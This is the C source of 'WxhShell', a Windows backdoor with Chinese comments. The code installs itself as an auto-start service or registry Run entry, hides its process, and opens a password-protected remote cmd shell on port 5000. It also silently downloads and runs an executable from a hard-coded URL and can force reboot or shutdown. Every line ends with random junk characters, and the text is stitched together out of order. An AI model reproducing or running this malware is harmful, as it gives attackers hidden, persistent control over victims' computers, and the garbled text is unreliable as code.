  case 'd': { }|8*sk#[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g=]&A  
    if(Boot(SHUTDOWN)) L3y5a?G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<V9'Ut   
    else { _|c&@M  
    closesocket(wsh); #S QXTR  
    ExitThread(0); 5#:pT  
    } cErI%v}v0  
    break; bk#xiuwT  
    } fhp)S",  
  // 获取shell mAqD jRV1  
  case 's': { sB}]yw  
    CmdShell(wsh); $,1dQeE  
    closesocket(wsh); -@%%*YI>  
    ExitThread(0); @ "d2.h  
    break; `LP!D  
  } H^c0Kh+  
  // 退出 X\GM/A  
  case 'x': { fhpX/WE6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dK?); *w]  
    CloseIt(wsh); &TN2 HZ-bJ  
    break; B5=3r1Ly  
    } N} />rD  
  // 离开 8q_0,>w%  
  case 'q': { 1/j$I~B   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G^h_ YjR`*  
    closesocket(wsh); /MMtTB H  
    WSACleanup(); DMgBcP  
    exit(1); o 5Zyh26  
    break; [$:,-Q@  
        } vd~U@-C=R  
  } :=g.o;(/N  
  } ?#[)C=p]z  
<,39_#H?F3  
  // 提示信息 W04av_u 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P;foK)AM  
} i&tsYnP2  
  } NXoK@Y  
VK .^v<Yo  
  return; w-FnE}"l  
} z4O o@3$\R  
IlZu~B9c  
// shell模块句柄 IvU{Xm"qB  
int CmdShell(SOCKET sock) N)OCSeh  
{ #qL9{P<}  
STARTUPINFO si; [STje8+V  
ZeroMemory(&si,sizeof(si)); 1t~({Pl<>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Jxq'B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?iSGH'[u  
PROCESS_INFORMATION ProcessInfo; 8GB]95JWwp  
char cmdline[]="cmd"; ;<6"JP>0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D u_$C[  
  return 0;  v4<j   
} Zw=G@4xoU  
Lt<oi8'N  
// 自身启动模式 JieU9lA^&B  
int StartFromService(void) gA +:CgQ  
{ OD4W}Y.  
typedef struct jb@\i@-  
{ _ VKgs]Y  
  DWORD ExitStatus; edN8-P(  
  DWORD PebBaseAddress; z-Hkz  
  DWORD AffinityMask; (&Q)EBdm  
  DWORD BasePriority; H1UL.g%d=  
  ULONG UniqueProcessId; HWtPLlNt  
  ULONG InheritedFromUniqueProcessId; !LSs9_w  
}   PROCESS_BASIC_INFORMATION; Q_lu`F|  
EVz9WY  
PROCNTQSIP NtQueryInformationProcess; p$OD*f_b  
9eSRCLhgD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /RF%1!M K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rgR?wXW]jE  
el Kx]%k*)  
  HANDLE             hProcess; y9 uVCR  
  PROCESS_BASIC_INFORMATION pbi; i7v/A&Rc  
Z[;#|$J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *PcVSEP/0  
  if(NULL == hInst ) return 0; @,6ST0xT (  
&wGg6$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sMJ#<w}Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g\J)= ,ju,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )+B=z}:Nfz  
GMb!Q0I8  
  if (!NtQueryInformationProcess) return 0; W:B}u\)C  
u[[/w&UV.,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (-2R{! A  
  if(!hProcess) return 0; }:^XX0:FK  
KZ\dB;W< |  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sA2o2~AmM  
r%[1$mTOR  
  CloseHandle(hProcess); 7-g^2sa'(  
"gg(tp45  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <j"O%y.  
if(hProcess==NULL) return 0; A:xb!= 2  
rgT%XhUS6f  
HMODULE hMod; n2;(1qr  
char procName[255]; PdjCv+R6?  
unsigned long cbNeeded; [;F{mN  
8l?w=)Qy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /C7svH  
Ns~ g+C9  
  CloseHandle(hProcess); G;9|%yvd8  
0~.)GG%R>D  
if(strstr(procName,"services")) return 1; // 以服务启动 z (#Xca  
|+mOH#Aty  
  return 0; // 注册表启动 5:_~mlfi  
} bXm :]?  
hLn&5jYHvt  
// 主模块 #mTMt;x  
int StartWxhshell(LPSTR lpCmdLine) Ctj8tK$D  
{ '}fel5YV  
  SOCKET wsl; 5Q;dnC  
BOOL val=TRUE; f-s~Q 4  
  int port=0; kI]=&Rw  
  struct sockaddr_in door; { "}+V`O{  
7(5]Ry:  
  if(wscfg.ws_autoins) Install(); ;$[VX/A`f  
QS%,7'EG  
port=atoi(lpCmdLine); wK ][qZ ]  
=%)})  
if(port<=0) port=wscfg.ws_port; @|]iSD&T #  
gpsrw>nw  
  WSADATA data; Lqq*Nr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B,:23[v  
-MUQ \pZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ol_/uy1r[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tu'E{Hw  
  door.sin_family = AF_INET; "1CGO@AXS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R>` ih&,)  
  door.sin_port = htons(port); 2}>go^#O/w  
}o{!}g9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L:Ed-=|Uw  
closesocket(wsl); TA<hj[-8  
return 1; y8}"DfU.  
} w[M5M2CF  
Hq79/ wKj  
  if(listen(wsl,2) == INVALID_SOCKET) { &7lk2Q\  
closesocket(wsl); {MA@ A5  
return 1; =cknE=  
} m_~y   
  Wxhshell(wsl); !__D}k,  
  WSACleanup(); @gY'YA8m  
EqYz,%I%  
return 0; 0.3^   
+-'`Q Ae  
} |zg=+  
*di&%&f  
// 以NT服务方式启动 .;cxhgU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <&*#famX  
{ \}n !yYh(  
DWORD   status = 0; {W]bU{%.  
  DWORD   specificError = 0xfffffff; v5P*<U Ax  
/1H9z`qV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PlF89-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *C tsFS~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JIB?dIN 1  
  serviceStatus.dwWin32ExitCode     = 0; qW+=g]x\  
  serviceStatus.dwServiceSpecificExitCode = 0; HarYV :  
  serviceStatus.dwCheckPoint       = 0; vRq=m8  
  serviceStatus.dwWaitHint       = 0; [`cdlx?Eh  
6MrZ6dz^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #R5we3&p  
  if (hServiceStatusHandle==0) return; ttTI#Fr2  
k q/t]%(  
status = GetLastError(); 6zELe.tq  
  if (status!=NO_ERROR) b "`ru~]  
{ {_?T:`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qAnA=/k`  
    serviceStatus.dwCheckPoint       = 0; 7j4ej|Fjo  
    serviceStatus.dwWaitHint       = 0; Cca~Cq[%*(  
    serviceStatus.dwWin32ExitCode     = status; ^n6)YX  
    serviceStatus.dwServiceSpecificExitCode = specificError; d%S=$}o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [BJ$|[11  
    return; rDK;6H:u{  
  } $:T<IU[E  
*vRNG 3D/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dx k;@Tz  
  serviceStatus.dwCheckPoint       = 0; 0EcC  
  serviceStatus.dwWaitHint       = 0; t$ACQ*O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aslU`#"  
} myEGibhK  
3w[<cq.!  
// 处理NT服务事件,比如:启动、停止 wpAw/-/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LuQ"E4;nY%  
{ pE$|2v  
switch(fdwControl) ~R"]LbeY  
{ :|*Gnu  
case SERVICE_CONTROL_STOP: /8 e2dw: \  
  serviceStatus.dwWin32ExitCode = 0; f)p>nW?Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Aqx3!  
  serviceStatus.dwCheckPoint   = 0; }wa}hIqx  
  serviceStatus.dwWaitHint     = 0; fho=<|-  
  { } IIK~d,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |iLx $P6  
  }  muK'h`  
  return; Ec7{BhH)  
case SERVICE_CONTROL_PAUSE: !V$6+?2   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "#_)G7W+e  
  break; H9oXZSm  
case SERVICE_CONTROL_CONTINUE: #i}#jMT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /k4^&  
  break; OpWC2t)  
case SERVICE_CONTROL_INTERROGATE: 34/]m/2NZK  
  break; lBizC5t!o  
}; (=S"Kvb~#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^KaqvG$ed  
} )*psDjZ7*  
P5yJO97  
// 标准应用程序主函数 Bt |9%o06l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4GMa5]Ft  
{ 0A #9C09  
c,3'wnui  
// 获取操作系统版本 0})7of  
OsIsNt=GetOsVer(); xI.Orpw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `'A(`. CL  
CF4Oh-f  
  // 从命令行安装 i?1js! 8  
  if(strpbrk(lpCmdLine,"iI")) Install(); qK 9L+i  
kxr6sO~  
  // 下载执行文件 =8$(i[;6w  
if(wscfg.ws_downexe) { gQ[]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 97:t29N  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fy4<  
} D[>XwL  
IS5.i95m  
if(!OsIsNt) { b@{%qh ,C  
// 如果时win9x,隐藏进程并且设置为注册表启动 uMiD*6,$<  
HideProc(); }5TfQV6  
StartWxhshell(lpCmdLine); 1)P<cNj  
} CYTuj>Ww  
else t5X G^3X@  
  if(StartFromService()) $ g1wK}B3  
  // 以服务方式启动 s/W!6JX4  
  StartServiceCtrlDispatcher(DispatchTable); YYZs#_  
else O]$*EiO\  
  // 普通方式启动 6ywnyh  
  StartWxhshell(lpCmdLine); onWYT}c{  
pAUfG^v  
return 0; ,Do$`yO+  
} 2m)kyQ  
Y1yvI  
$~w@0Yl  
34+)-\xt:  
=========================================== xy-$v   
#G[ *2h~99  
s&_IWala  
+[ZMrTW!0C  
N>cp>&jV  
oneSgJ  
" X d19GP!  
[pRVZV  
#include <stdio.h> v ,G-k2$Qe  
#include <string.h> G]m[ S-  
#include <windows.h> *1ID`o  
#include <winsock2.h> U l7pxzj  
#include <winsvc.h> O>b&-U"R  
#include <urlmon.h> i SAidK,  
X,iuz/Q  
#pragma comment (lib, "Ws2_32.lib") eK=m02  
#pragma comment (lib, "urlmon.lib") ^t^<KL;  
Un8#f+odR  
#define MAX_USER   100 // 最大客户端连接数 )LMBxyS  
#define BUF_SOCK   200 // sock buffer f/IRO33  
#define KEY_BUFF   255 // 输入 buffer Q J(e*/  
YfrTvKX  
#define REBOOT     0   // 重启 4? /ot;>2  
#define SHUTDOWN   1   // 关机 0?&aV_:;X  
5w,YBUp  
#define DEF_PORT   5000 // 监听端口 w7`@=kVx  
p)[ BB6E  
#define REG_LEN     16   // 注册表键长度 "$,}|T?Y`  
#define SVC_LEN     80   // NT服务名长度 :(S/$^U  
RB$ 8^#  
// 从dll定义API L[QI 5N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "PDSqYA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +n8I(l=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9rf|r 3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )@lo ';\  
]'  "^M  
// wxhshell配置信息 8^~ZNU-~v  
struct WSCFG { kw-Kx4 )  
  int ws_port;         // 监听端口 33v%e  
  char ws_passstr[REG_LEN]; // 口令 F|n$0vQ*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9bzYADLI  
  char ws_regname[REG_LEN]; // 注册表键名 YiI:uG!|D  
  char ws_svcname[REG_LEN]; // 服务名 D\_*,Fc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;2xXX,'R7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,mE]?XyO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G(Idiw#WT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K9z_=c+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r/s&ee  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |V~(mS747:  
7,&]1+n  
}; Lct+cKKU  
6_`eTL=G  
// default Wxhshell configuration \.{pZMM  
struct WSCFG wscfg={DEF_PORT, ?+}E  
    "xuhuanlingzhe", GD6'R"tJ  
    1, |qudJucV  
    "Wxhshell", w4< u@L  
    "Wxhshell", qdkTg:QJ,  
            "WxhShell Service", M;Mdz[Q  
    "Wrsky Windows CmdShell Service", Bc9|rlV,  
    "Please Input Your Password: ", sJYKt   
  1, 0or6_ y6  
  "http://www.wrsky.com/wxhshell.exe",  h?pGw1Q  
  "Wxhshell.exe" 2sd=G'7!  
    }; b09#+CH?  
|\r\i&|g1  
// 消息定义模块 r^o}Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6Nd_YX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UgP=k){  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FDGKMGZ  
char *msg_ws_ext="\n\rExit."; /+JP~ K  
char *msg_ws_end="\n\rQuit."; Zkb,v!l  
char *msg_ws_boot="\n\rReboot..."; -"JE-n  
char *msg_ws_poff="\n\rShutdown..."; abk:_  
char *msg_ws_down="\n\rSave to "; \8>N<B)  
ZsK'</7  
char *msg_ws_err="\n\rErr!"; 0 *Yivx6  
char *msg_ws_ok="\n\rOK!"; C6T 9  
Om?:X!l"  
char ExeFile[MAX_PATH]; kp &XX|  
int nUser = 0; ?k7/`g U  
HANDLE handles[MAX_USER]; 1 FIiX  
int OsIsNt; {*]= qSz  
'?!<I  
SERVICE_STATUS       serviceStatus; T?}=k{C]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =L; n8~{@y  
A`8}J4  
// 函数声明 ~zOU/8n ,F  
int Install(void); V:" \(Y  
int Uninstall(void); va*>q-QCr  
int DownloadFile(char *sURL, SOCKET wsh); ea[a)Z7#  
int Boot(int flag); xyJgHbml  
void HideProc(void); ()IgSj?,  
int GetOsVer(void); #( Yb lY  
int Wxhshell(SOCKET wsl); qP.VK?jF|  
void TalkWithClient(void *cs); );.<Yf{c  
int CmdShell(SOCKET sock); H&K)q5~  
int StartFromService(void); s].Cx4VQ  
int StartWxhshell(LPSTR lpCmdLine); 0#[Nfe*  
[.#$hOsNR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;7og  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b8-^wJH!  
1nM?>j%k  
// 数据结构和表定义 Ei(`gp  
SERVICE_TABLE_ENTRY DispatchTable[] = 1~ZHC[ `  
{ By"ul:.D  
{wscfg.ws_svcname, NTServiceMain}, %$-3fj7  
{NULL, NULL} HvfTC<+H  
}; f*H}eu3/j  
|c+N)F B  
// 自我安装 nv|y@! (  
int Install(void) <h>fip3o  
{ "kuBjj2  
  char svExeFile[MAX_PATH]; *q 9$SDm  
  HKEY key; kd2'-9  
  strcpy(svExeFile,ExeFile); @P*P8v8:  
).#D:eO[~  
// 如果是win9x系统,修改注册表设为自启动 Ita!07  
if(!OsIsNt) { 9(Xch2tpO!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fl(ZKpSZU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5TW<1'u  
  RegCloseKey(key); $G([#N<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gmH0-W)=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HE .Dl7 {  
  RegCloseKey(key); p.7p,CyB  
  return 0; RPqn#B  
    } rlh6\Fa  
  } g<jK^\e W  
} -Y,Ibq  
else { 4'eVFu+62  
 [ ^ \)  
// 如果是NT以上系统,安装为系统服务 nQ*oOxe|X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Iz=E8R g  
if (schSCManager!=0) "+"dALX{3K  
{ H_$f v_  
  SC_HANDLE schService = CreateService 7.'j~hJL  
  ( +[nYu)puP  
  schSCManager, ll^O+>1dO  
  wscfg.ws_svcname, e/I{N0SR  
  wscfg.ws_svcdisp, o~N-x*   
  SERVICE_ALL_ACCESS, `-e}:9~q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `)_FO]m}jS  
  SERVICE_AUTO_START, Z s!q#qM  
  SERVICE_ERROR_NORMAL, #Yb9w3N  
  svExeFile, *wl_8Sis}  
  NULL, pNme jz:  
  NULL, E$fy*enON  
  NULL, {.'g!{SHp  
  NULL, !f[N&se  
  NULL 3JO:n6  
  ); B ~bU7.Cd  
  if (schService!=0) ?4dd|n  
  { &%51jM<  
  CloseServiceHandle(schService); A)0m~+?{J  
  CloseServiceHandle(schSCManager); 'n`$c{N<tM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); , Vr6  
  strcat(svExeFile,wscfg.ws_svcname); w0OK. fj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { obkv ]~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a'.=.eDQ  
  RegCloseKey(key); \shoLp   
  return 0; 5%$kAJZC-  
    } <t2?Oii;  
  } Hd}t=6  
  CloseServiceHandle(schSCManager); R5~m"bE  
} A}}t86T  
} O$ oN1  
;L{y3CWT  
return 1; $9b6,Y_-  
} e q.aN3KB"  
$ O>MV  
// 自我卸载 k.hSN8  
int Uninstall(void) gKEvgXOj  
{ r!=VV!XZ  
  HKEY key; g9`ytWmM  
#_5+kBA+>'  
if(!OsIsNt) { !kYmrj**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X*;p;N  
  RegDeleteValue(key,wscfg.ws_regname); L^Af3]]2  
  RegCloseKey(key); D7oV&vXg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eu}A{[^\  
  RegDeleteValue(key,wscfg.ws_regname); 7~g0{W>Zm  
  RegCloseKey(key); 8XE0 p7  
  return 0; $a]dxRkz  
  } sVf7g?  
} r F - yD1  
} e6/} M3B  
else { 3<SC`6'?  
m)2U-3*iX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -M9 4 F  
if (schSCManager!=0) 4 df1)<}U-  
{ %iML??S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~nlY8B(  
  if (schService!=0) &wvv5Vd  
  { AY]nc# zz  
  if(DeleteService(schService)!=0) { "R]K!GUU  
  CloseServiceHandle(schService); `hhG^ O_  
  CloseServiceHandle(schSCManager); 2Ki/K(  
  return 0; #.aLx$"a  
  } 6ns_4, e  
  CloseServiceHandle(schService); a&PZ7!PZv  
  } :H 7 "W<  
  CloseServiceHandle(schSCManager); "d\8OOU  
} (/BkwbJyE  
} CbQ%[x9|  
@5ybBh]   
return 1; <>GyG-q  
} p5hP}Z4r  
60$    
// 从指定url下载文件 y%AJ>@/;  
int DownloadFile(char *sURL, SOCKET wsh) >TJ$Z3  
{ vUNE! j  
  HRESULT hr; pu#<qD*w  
char seps[]= "/"; 2HNS|GHb&  
char *token; &c !-C_L 2  
char *file; ]y$C6iUY*  
char myURL[MAX_PATH];  -"H9W:  
char myFILE[MAX_PATH]; *l} 0x@  
E{B<}n|}&  
strcpy(myURL,sURL); u?i1n=Ne  
  token=strtok(myURL,seps); "+60B0>sc  
  while(token!=NULL) ^u74WN  
  { =+WFx3/  
    file=token; 'r0gqtB  
  token=strtok(NULL,seps); `w }"0+V  
  } +cN2 KP  
_Fjv.VQ,  
GetCurrentDirectory(MAX_PATH,myFILE); >a K&T"  
strcat(myFILE, "\\");  Q.yoxq  
strcat(myFILE, file); e%\KI\u  
  send(wsh,myFILE,strlen(myFILE),0); AJ}Q,E  
send(wsh,"...",3,0); w5Z3e^g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gsH_pG-jU  
  if(hr==S_OK) CaMG$X&O  
return 0; VP&lWPA}\$  
else ShP V!$0  
return 1; `.XU|J*z,  
fE iEy%o  
} :|TBsd|/x  
$+j )  
// 系统电源模块 a{=~#u8  
int Boot(int flag) 6]*qx5m`<l  
{ ^S @b*  
  HANDLE hToken; |Ca n  
  TOKEN_PRIVILEGES tkp; J)_ 42Z  
$Re %+2c  
  if(OsIsNt) { ;'urt /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %qhaVM$]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rjzRH  
    tkp.PrivilegeCount = 1; *,u{~(thR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BVDo5^&W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <T>f@Dn,  
if(flag==REBOOT) { WqO* vK!t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rz<fz"/2<  
  return 0; 4{ &   
} UWp(3FQ  
else { K[H$qJmPX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hl51R"8o  
  return 0;  R !HL+  
} `7`iCYiTy  
  } 191)JWfa  
  else { .'M]cN~  
if(flag==REBOOT) { a>6p])Wh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KAGq\7  
  return 0; ~?FKww|_*J  
} 9,IGZ55C  
else { t<-Iiq+tL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $= gv  
  return 0; d>f5T l\E  
} ~rD* Y&#.  
} I`7[0jA~  
}j x{Cw  
return 1; ESAh(A)8  
} xfilxd  
\BA_PyS?W+  
// win9x进程隐藏模块 (Y%}N(Jg  
void HideProc(void) EW)]75o{QF  
{ LdcP0G\"VG  
dJk.J9Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hk(^?Fp  
  if ( hKernel != NULL ) HDYoM  
  { PeOgXg)L`z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @U,cj>K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \VW.>@s~  
    FreeLibrary(hKernel); g_`8K,6ln  
  } ;,D7VxWhY  
\I> ,j,c  
return; p-Z5{by  
} umciP  
};|'8'5  
// 获取操作系统版本 *ZHk^d:  
int GetOsVer(void) V'8 (}(s/  
{ a,X3=+_K  
  OSVERSIONINFO winfo; O1QHG'00  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iIg_S13  
  GetVersionEx(&winfo); Z"A:^jZ<s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !HFwQGP.Y  
  return 1; 1cPi>?R:  
  else Z|u_DaSrr|  
  return 0; |e!Sm{#!  
} r(RJ&\ !  
fYpy5vc-dm  
// 客户端句柄模块 q^gd1K<N  
int Wxhshell(SOCKET wsl) 8I*fPf  
{ x\lua  
  SOCKET wsh; &" =inkh  
  struct sockaddr_in client; v+Hu=RZE  
  DWORD myID; 6d,"GT  
f?)qZPM  
  while(nUser<MAX_USER) =^6]N~*,D  
{ -k'=s{iy  
  int nSize=sizeof(client); ~&g:7f|X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D+RG,8Ht  
  if(wsh==INVALID_SOCKET) return 1; W /IyF){  
8<xJmcTEwO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3+IS7ATn  
if(handles[nUser]==0) ~{xY{qL  
  closesocket(wsh); C0e< _6p=  
else p[cC%3  
  nUser++; <~3@+EEM  
  } { aU~[5L3(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FG?B:Zl%T  
U]_1yX  
  return 0; *0Fn C2W1  
} FJ/kumq  
% 30&6"  
// 关闭 socket gZ 9<H q  
void CloseIt(SOCKET wsh) CpA=DnZ  
{ nfd^'}$]  
closesocket(wsh); Hc}(+wQN%  
nUser--; #;+GNF}0mG  
ExitThread(0); Bdf3@sbM]  
} NVP~`sxiZ  
8L0#<"'0  
// 客户端请求句柄 |= ~9y"F  
void TalkWithClient(void *cs) 5'@}8W3b  
{ yVSJn>l!  
M^H357r%  
  SOCKET wsh=(SOCKET)cs; (ue;O~  
  char pwd[SVC_LEN]; (xMAo;s_  
  char cmd[KEY_BUFF]; ?'^xO:  
char chr[1]; azN<]u@.  
int i,j; ="MG>4j3.F  
.DHPKz`W0  
  while (nUser < MAX_USER) { ~zi&u46  
w<>B4m\  
if(wscfg.ws_passstr) { Xq9%{'9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fy7]I?vm@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); od$Cm5  
  //ZeroMemory(pwd,KEY_BUFF); I/t2c=f  
      i=0; s+,JwV?b  
  while(i<SVC_LEN) { 0&zp9(G5  
ZjbMk 3Y  
  // 设置超时 h%Bp%Y9  
  fd_set FdRead; Y'58.8hl  
  struct timeval TimeOut; C&r&&Pw  
  FD_ZERO(&FdRead); p9fx~[_5/  
  FD_SET(wsh,&FdRead); G$WMW@fy  
  TimeOut.tv_sec=8; VP5_Y1e7  
  TimeOut.tv_usec=0; (;\JCeGA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !Vy/-N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o[aRG7C  
fE,\1LK4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c.r]w  
  pwd=chr[0]; z" 4$mh  
  if(chr[0]==0xd || chr[0]==0xa) { [WuN?H  
  pwd=0; -:Yx1Y3 [  
  break; y3 kXfSe  
  } 0rooL<~fa  
  i++; _>0 I9.[5  
    } |}=xA%)  
bt"*@NJ$  
  // 如果是非法用户,关闭 socket \K55|3~R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xbe=_9l&p  
} Sw%^&*J  
C,&r7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FZO}+ P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5V]!xi  
sBt,y _LW  
while(1) { 7;5SK:X%dm  
Xnpw'<~X  
  ZeroMemory(cmd,KEY_BUFF); d=yuuS /  
22(7rUkI  
      // 自动支持客户端 telnet标准   =HH}E/9z  
  j=0; s: pmB\  
  while(j<KEY_BUFF) { .liVlo@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "`s{fy~mV  
  cmd[j]=chr[0]; e+Vn@-L;  
  if(chr[0]==0xa || chr[0]==0xd) { s$s~p +U  
  cmd[j]=0; ,'Zs")Ydp  
  break; V9bn  
  } lXjhT  
  j++; 0M-=3T  
    } 7a\at)q/y  
,Y  ./9F  
  // 下载文件 [2ez"4e  
  if(strstr(cmd,"http://")) { Ia %> c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "w7wd5h  
  if(DownloadFile(cmd,wsh)) B'SLyf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QZw`+KR  
  else rv ouE:  
